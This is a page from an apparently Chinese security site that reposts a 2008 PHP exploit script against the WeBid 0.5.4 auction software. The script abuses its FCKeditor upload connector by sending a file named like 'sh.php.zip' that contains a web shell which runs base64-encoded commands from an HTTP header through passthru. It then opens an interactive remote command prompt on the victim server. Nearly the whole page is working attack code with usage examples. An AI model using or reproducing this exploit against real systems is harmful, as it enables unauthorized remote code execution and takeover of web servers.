首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
WeBid 0.5.4 (fckeditor) Remote Arbitrary File Upload Exploit
来源:www.vfcocus.net 作者:Stack 发布时间:2008-09-02  
<?php
/*
-----------------------------------------------------------------
WeBid v0.5.4 (fckeditor) Remote Arbitrary File Upload Exploit
-----------------------------------------------------------------

author...: Stack

[-] vulnerable code in /fck/editor/filemanager/browser/mcpuk/connectors/php/config.php

121. //File Area
122. $fckphp_config['ResourceAreas']['File'] =array(
123. 
124.  //Files(identified by extension) that may be uploaded to this area
125.  'AllowedExtensions' => array("zip","doc","xls","pdf","rtf","csv","jpg","gif","jpeg","png","avi","mpg","mpeg","swf","fla"),

with a default configuration of this script, an attacker might be able to upload arbitrary
files containing malicious PHP code due to multiple file extensions isn't properly checked
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
  print "\n[-] No response from {$host}:80 Trying again...";
  $sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
return $resp;
}
function upload()
{
global $host, $path;

$connector = "fck/editor/filemanager/browser/mcpuk/connectors/php/connector.php";
$file_ext  = array("zip", "swf", "fla", "doc", "xls", "rtf", "csv");

foreach ($file_ext as $ext)
{
  print "\n[-] Trying to upload with .{$ext} extension...";
 
  $data  = "--12345\r\n";
  $data .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"sh.php.{$ext}\"\r\n";
  $data .= "Content-Type: application/octet-stream\r\n\r\n";
  $data .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\r\n";
  $data .= "--12345--\r\n";
 
  $packet  = "POST {$path}{$connector}?Command=FileUpload&CurrentFolder={$path} HTTP/1.0\r\n";
  $packet .= "Host: {$host}\r\n";
  $packet .= "Content-Length: ".strlen($data)."\r\n";
  $packet .= "Content-Type: multipart/form-data; boundary=12345\r\n";
  $packet .= "Connection: close\r\n\r\n";
  $packet .= $data;
 
  preg_match("/OnUploadCompleted\((.*),'(.*)'\)/i", http_send($host, $packet), $html);
 
  if (!in_array(intval($html[1]), array(0, 201))) die("\n[-] Upload failed! (Error {$html[1]}: {$html[2]})\n");
 
  $packet  = "GET {$path}sh.php.{$ext} HTTP/1.0\r\n";
  $packet .= "Host: {$host}\r\n";
  $packet .= "Connection: close\r\n\r\n";
  $html    = http_send($host, $packet);
 
  if (!eregi("print", $html) and eregi("_code_", $html)) return $ext;
 
  sleep(1);
}

return false;
}
print "\n+--------------------------------------------------------------------+";
print "\n|WeBid v0.5.4 (fckeditor) Remote Arbitrary File Upload Exploit by Stack|";
print "\n+--------------------------------------------------------------------+\n";
if ($argc < 3)
{
print "\nUsage......: php $argv[0] host path\n";
print "\nExample....: php $argv[0] localhost /";
print "\nExample....: php $argv[0] localhost /WeBid/\n";
die();
}
$host = $argv[1];
$path = $argv[2];
if (!($ext = upload())) die("\n\n[-] Exploit failed...\n");
else print "\n[-] Shell uploaded...starting it!\n";
define(STDIN, fopen("php://stdin", "r"));
while(1)
{
print "\nStack-shell# ";
$cmd = trim(fgets(STDIN));
if ($cmd != "exit")
{
  $packet = "GET {$path}sh.php.{$ext} HTTP/1.0\r\n";
  $packet.= "Host: {$host}\r\n";
  $packet.= "Cmd: ".base64_encode($cmd)."\r\n";
  $packet.= "Connection: close\r\n\r\n";
  $html   = http_send($host, $packet);
  if (!eregi("_code_", $html)) die("\n[-] Exploit failed...\n");
  $shell = explode("_code_", $html);
  print "\n{$shell[1]}";
}
else break;
}
?>


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·VMware COM API ActiveX Remote
·e107 Plugin BLOG Engine 2.2 (u
·Google Chrome Browser 0.2.149.
·Sun Solaris 8/9/10 and OpenSol
·Moodle <= 1.8.4 Remote Code Ex
·Postfix <= 2.6-20080814 (symli
·Friendly Technologies Read/Wri
·MicroTik RouterOS <= 3.13 SNMP
·Acoustica Beatcraft 1.02 Build
·CitectSCADA ODBC Server Remote
·Invision Power Board <= 2.3.5
·Numark Cue 5.0 rev 2 Local .M3
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved